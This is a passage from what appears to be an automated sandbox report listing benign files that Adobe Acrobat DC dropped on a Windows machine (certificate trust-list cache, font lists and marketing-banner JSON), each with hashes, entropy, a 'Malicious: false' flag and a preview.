File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7360682398396405
Encrypted:	false
SSDEEP:	3:kkFklOxpttfllXlE/HT8kezXNNX8RolJuRdxLlGB9lQRYwpDdt:kKXteT8TNMa8RdWBwRd
MD5:	A704F65B418C30DEA0EF4F9A1B6313E9
SHA1:	2014C0DD00F6A1BC7C59151970321D793A723C03
SHA-256:	8441336CCCCF642ECDD57E0DD82CAEE16314414A463AF77330622A05AB2A0AF7
SHA-512:	09B4F4983CACC2DFF6A20F6AAB023D3A26115DFA19601FC6846075BCF16752D4410A1976B99B111D775325308E315F89A2C1B0B0E9884C51D05190A689EFC3DF
Malicious:	false
Preview:	p...... ........}.M@.c..(....................................................... ..........W....c...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kK9L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:1iDImsLNkPlE99SNxAhUe/3
MD5:	E601CF9C839BE7104FA0BD5DC1DA118D
SHA1:	66D4F47ED4F4B3EE24881837C73E4B08CB5579CF
SHA-256:	66457B1ED3E83F821EBFE62FE8517BAF8DEDD3F8A70A82C0CF7954A7D5D637F3
SHA-512:	57AA1C0F75AA0DDE74A80958CEDC4BCF1DDC6258A8FF7CE686FB16FC94DBE59ABF53C1E85427F4D3EB75ABE85AEC3F24A087174960545F677D7213F0A8D8ED58
Malicious:	false
Preview:	p...... ...........R.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2220

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2220

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356831591278279
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJM3g98kUwPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGMbLUkee9
MD5:	6C3EA5E7663EA438C33D1356F03071E5
SHA1:	7F4BE8921751F73110915755D8BD2BA6F1829144
SHA-256:	807AFA95E77087752673EE198FDD91F9935C1230435DC783020F6D5CB8C6BA80
SHA-512:	162204A6C4D21501192424FE1189967F2BDE1528C7381829E5CB6024229D52B1656191DB9637FA6C80D883F08C1A3BE7BEA7E34A868818B8D7C8011EAE07F20D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2940874493693695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJfBoTfXpnrPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGWTfXcUkee9
MD5:	DA5A8A802978AEADBFCB4AEC320B643B
SHA1:	D7C3E68FF148AF4D7870A4E23AA7CE467D89DB87
SHA-256:	1D63857173BE56883453F418188DA851E6E26D2000C92D76543E270CF0453B63
SHA-512:	DF22F22987A7E96BA6741E2F75A5A4C8236886D54BA89AC73CB47D84EAF4966082E7D40B0FB84B7E55CFF8B7BF8D305468473129545955CB9D592404A48E4798
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272226364114637
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJfBD2G6UpnrPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGR22cUkee9
MD5:	D02EC0D9E67C9E684D82F95D729CDB82
SHA1:	B9D19CBDA5E51D0D923DD033D5EC7C1BB75A5760
SHA-256:	0C28BDF68178E1BA49850219935D111D314B798B52E54F47251027FBC44A3506
SHA-512:	C68D84E6AAB0DAB511EA63DE9F908BDE786FD83B718AB58FDCE1B1EAF8A4A8B414AA530B2F05BDC5E55F32778DFB778425B16EDA2FE11BE00E394BC53B52A131
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.333550952032736
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJfPmwrPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGH56Ukee9
MD5:	7C4239A2DFCD8FDB9EA27139C723E44C
SHA1:	5828BCEC4E9629CF1D440554114D5A60105BC6C8
SHA-256:	A7A02B684F317FD5A377EB891138B5D36DCB2FB288AA2EC304C5DE675132FD57
SHA-512:	E1D55A4102FD106C9A026985AC2571488697D36673A34F4D665C81A79B0110790ABCC13691267F57257B1AF73C20B7F220AAECD54E06FEED911AE126B195392A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687604093881327
Encrypted:	false
SSDEEP:	24:Yv6XfJhdV6pLgE9cQx8LennAvzBvkn0RCmK8czOCCS2:Yv6Jhihgy6SAFv5Ah8cv/2
MD5:	A0B9E97C741BAFED8649A8CC4CAB15D0
SHA1:	BF49BB36F893D6A0DE049C5FD66940B775ADBCE4
SHA-256:	EA727893F4413830E3766715012C25955231A1D5B19B596CDE8ECE716A4D6627
SHA-512:	8EC15F10A22A7C7BC6B0B23CAA99E712A5DD73B766D8EBCC77B4C8181E30F41FFB88133717C298351EBE63432024687D9BF6023D79A2AD6AECD7E6660B8A6FE2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280857518375987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJf8dPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGU8Ukee9
MD5:	FC84AB2872A9C6188631A692BE2A163B
SHA1:	14E7E15F171DAE2FCD80B8BE8E7CF207ACFE2697
SHA-256:	5260167EBD3DA7292BCF46CABF3E3E8DAF29F6EC701DA60A24247E5356678F06
SHA-512:	AF43CDCBE4FB65CABF9E4E5102ABE18568494F1958E9F63A140080C63E60922D468E20774A3EC9D78908A75B4B80C6A0DED4A505EC7DB6C156ED15EFF35F2DC0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.278803731721215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJfQ1rPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGY16Ukee9
MD5:	8BFB3D97A47B04979241F9089FF2E05E
SHA1:	6D3CC372C325393729C8C829428D0F0313389B50
SHA-256:	3653F6E1CE1CA7EDAD4863EE5AE0EE8593299C32174500CCABAC065B5C98D20B
SHA-512:	68BA77F7D0772D4D6E78FBAB58AD7F325599F2A332426CF91A1FEFAA3F9CB0B25AA126CBA385E1AC89D81B699E9E0FF68850A2541DA90DCAC00C0117C1670308
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294943642956123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJfFldPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGz8Ukee9
MD5:	05D978B7EA785530F20F5602E0BE3C25
SHA1:	F4D500C5AE3DC7ECC0645B8E62A865EF2D903960
SHA-256:	CAD18F4AF064A230F112F338FD9479A981ADB51834528F28B669B7670ACF4804
SHA-512:	03C1024D6685D94275D357F01ADAFE1ABFC24476DF64DE036D579E67695626D5D549069AFBBFC8268FDBDDB8ED23A43F214F0981479904991DC6C16ED89DB70A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310305411644232
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJfzdPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGb8Ukee9
MD5:	09D5EE2A7A48D33E8626938545680399
SHA1:	7490B0223265C223938557DD3FA461979AE101E7
SHA-256:	FA415D353BA6A0EB97DBA33F1F4F624396F953EB2A5BB410853CAA9C8F7B932B
SHA-512:	D62C3215C5C1B1D91CCE830380F7DF3072C048E6CE18E3E74BBE6EDFE7C5419E88F09747B5A3AC1BA5CC80707FAFBBF2DD4D846189CBEBBB737D8417BA1A4C26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290155071668854
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJfYdPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGg8Ukee9
MD5:	817D94A8D7969A6549B7758D0EECF172
SHA1:	C99E572C925B3ADAF4C4FA3D7D4D1217F9232ADB
SHA-256:	951D6F0169CF3D391CDBE3E4221494FB61D8C6480DCA7623F487FD09D7CE8671
SHA-512:	9CCC751A993751C856FB9A782716C1EFACBCBB2EA7FA883E0F020D539828A11233ED9AB588EACCA8E667B959310B12396E263B4B72D692C9B6CD533B3FD98EF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.276331109216356
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJf+dPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVG28Ukee9
MD5:	2D971C29478D0CA0AD623E18430F448B
SHA1:	D424CAD246494373D876DED7F4FFBD703CA39B8F
SHA-256:	1F8F6F74BEFBAE267748AA3EC808E2A18CD99D4465DE56EB240322739E71A239
